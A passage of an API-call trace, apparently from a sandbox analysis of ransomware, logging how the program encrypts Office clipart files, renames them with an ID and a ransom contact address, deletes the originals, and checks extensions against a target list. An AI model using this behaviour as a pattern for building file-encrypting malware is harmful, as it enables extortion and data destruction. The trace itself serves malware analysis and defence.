lpNumberOfBytesWritten=0x2f1fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0251.572] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.572] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.572] SetEndOfFile (hFile=0x324) returned 1 [0251.572] CloseHandle (hObject=0x324) returned 1 [0251.572] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.572] SetEndOfFile (hFile=0x3b0) returned 1 [0251.574] CloseHandle (hObject=0x3b0) returned 1 [0251.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0251.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.638] lstrlenW (lpString=".doc") returned 4 [0251.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.638] lstrlenW (lpString=".docx") returned 5 [0251.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.638] lstrlenW (lpString=".pdf") returned 4 [0251.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.638] lstrlenW (lpString=".xls") returned 4 [0251.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.638] lstrlenW (lpString=".xlsx") returned 5 [0251.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.638] lstrlenW (lpString=".ppt") returned 4 [0251.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.638] lstrlenW (lpString=".zip") returned 4 [0251.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.638] lstrlenW (lpString=".rar") returned 4 [0251.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.638] lstrlenW (lpString=".bz2") returned 4 [0251.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString=".7z") returned 3 [0251.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString=".dbf") returned 4 [0251.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString=".1cd") returned 4 [0251.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString=".jpg") returned 4 [0251.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString=".doc") returned 4 [0251.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString=".docx") returned 5 [0251.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.639] lstrlenW (lpString=".pdf") returned 4 [0251.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString=".xls") returned 4 [0251.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.639] lstrlenW (lpString=".xlsx") returned 5 [0251.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.639] lstrlenW (lpString=".ppt") returned 4 [0251.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.639] lstrlenW (lpString=".zip") returned 4 [0251.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.639] lstrlenW (lpString=".rar") returned 4 [0251.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString=".bz2") returned 4 [0251.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.639] lstrlenW (lpString=".7z") returned 3 [0251.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.640] lstrlenW (lpString=".dbf") returned 4 [0251.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.640] lstrlenW (lpString=".1cd") returned 4 [0251.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0251.640] lstrlenW (lpString=".jpg") returned 4 [0251.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.640] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.640] lstrlenW (lpString="HH00236_.WMF") returned 12 [0251.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.640] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3286) returned 1 [0251.640] CloseHandle (hObject=0x3b0) returned 1 [0251.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0251.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.641] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.641] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.641] GetLastError () returned 0x0 [0251.641] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xcd6, lpOverlapped=0x0) returned 1 [0251.645] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0251.646] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.646] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.646] SetEndOfFile (hFile=0x324) returned 1 [0251.647] CloseHandle (hObject=0x324) returned 1 [0251.647] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.647] SetEndOfFile (hFile=0x3b0) returned 1 [0251.648] CloseHandle (hObject=0x3b0) returned 1 [0251.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0251.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.652] lstrlenW (lpString=".doc") returned 4 [0251.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.652] lstrlenW (lpString=".docx") returned 5 [0251.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.652] lstrlenW (lpString=".pdf") returned 4 [0251.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.652] lstrlenW (lpString=".xls") returned 4 [0251.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.652] lstrlenW (lpString=".xlsx") returned 5 [0251.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.652] lstrlenW (lpString=".ppt") returned 4 [0251.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.652] lstrlenW (lpString=".zip") returned 4 [0251.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.653] lstrlenW (lpString=".rar") returned 4 [0251.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString=".bz2") returned 4 [0251.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString=".7z") returned 3 [0251.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString=".dbf") returned 4 [0251.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString=".1cd") returned 4 [0251.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString=".jpg") returned 4 [0251.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString=".doc") returned 4 [0251.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString=".docx") returned 5 [0251.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.653] lstrlenW (lpString=".pdf") returned 4 [0251.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString=".xls") returned 4 [0251.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.653] lstrlenW (lpString=".xlsx") returned 5 [0251.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.653] lstrlenW (lpString=".ppt") returned 4 [0251.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.653] lstrlenW (lpString=".zip") returned 4 [0251.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.653] lstrlenW (lpString=".rar") returned 4 [0251.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.653] lstrlenW (lpString=".bz2") returned 4 [0251.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.654] lstrlenW (lpString=".7z") returned 3 [0251.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.654] lstrlenW (lpString=".dbf") returned 4 [0251.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.654] lstrlenW (lpString=".1cd") returned 4 [0251.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0251.654] lstrlenW (lpString=".jpg") returned 4 [0251.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.654] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.654] lstrlenW (lpString="HH00241_.WMF") returned 12 [0251.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.654] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1960) returned 1 [0251.654] CloseHandle (hObject=0x3b0) returned 1 [0251.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0251.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.655] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.655] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.656] GetLastError () returned 0x0 [0251.656] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0251.666] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0251.667] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.667] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.668] SetEndOfFile (hFile=0x324) returned 1 [0251.668] CloseHandle (hObject=0x324) returned 1 [0251.668] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.668] SetEndOfFile (hFile=0x3b0) returned 1 [0251.673] CloseHandle (hObject=0x3b0) returned 1 [0251.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString=".doc") returned 4 [0251.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString=".docx") returned 5 [0251.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.681] lstrlenW (lpString=".pdf") returned 4 [0251.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString=".xls") returned 4 [0251.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.681] lstrlenW (lpString=".xlsx") returned 5 [0251.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.681] lstrlenW (lpString=".ppt") returned 4 [0251.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString=".zip") returned 4 [0251.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.681] lstrlenW (lpString=".rar") returned 4 [0251.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString=".bz2") returned 4 [0251.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString=".7z") returned 3 [0251.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString=".dbf") returned 4 [0251.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString=".1cd") returned 4 [0251.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.681] lstrlenW (lpString=".jpg") returned 4 [0251.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString=".doc") returned 4 [0251.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString=".docx") returned 5 [0251.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.682] lstrlenW (lpString=".pdf") returned 4 [0251.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString=".xls") returned 4 [0251.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.682] lstrlenW (lpString=".xlsx") returned 5 [0251.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.682] lstrlenW (lpString=".ppt") returned 4 [0251.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString=".zip") returned 4 [0251.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.682] lstrlenW (lpString=".rar") returned 4 [0251.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString=".bz2") returned 4 [0251.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString=".7z") returned 3 [0251.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString=".dbf") returned 4 [0251.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString=".1cd") returned 4 [0251.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0251.682] lstrlenW (lpString=".jpg") returned 4 [0251.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.683] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.683] lstrlenW (lpString="HH00276_.WMF") returned 12 [0251.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.683] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3016) returned 1 [0251.683] CloseHandle (hObject=0x324) returned 1 [0251.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0251.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.684] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.684] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0251.684] GetLastError () returned 0x0 [0251.684] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0251.690] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0251.691] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.691] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.691] SetEndOfFile 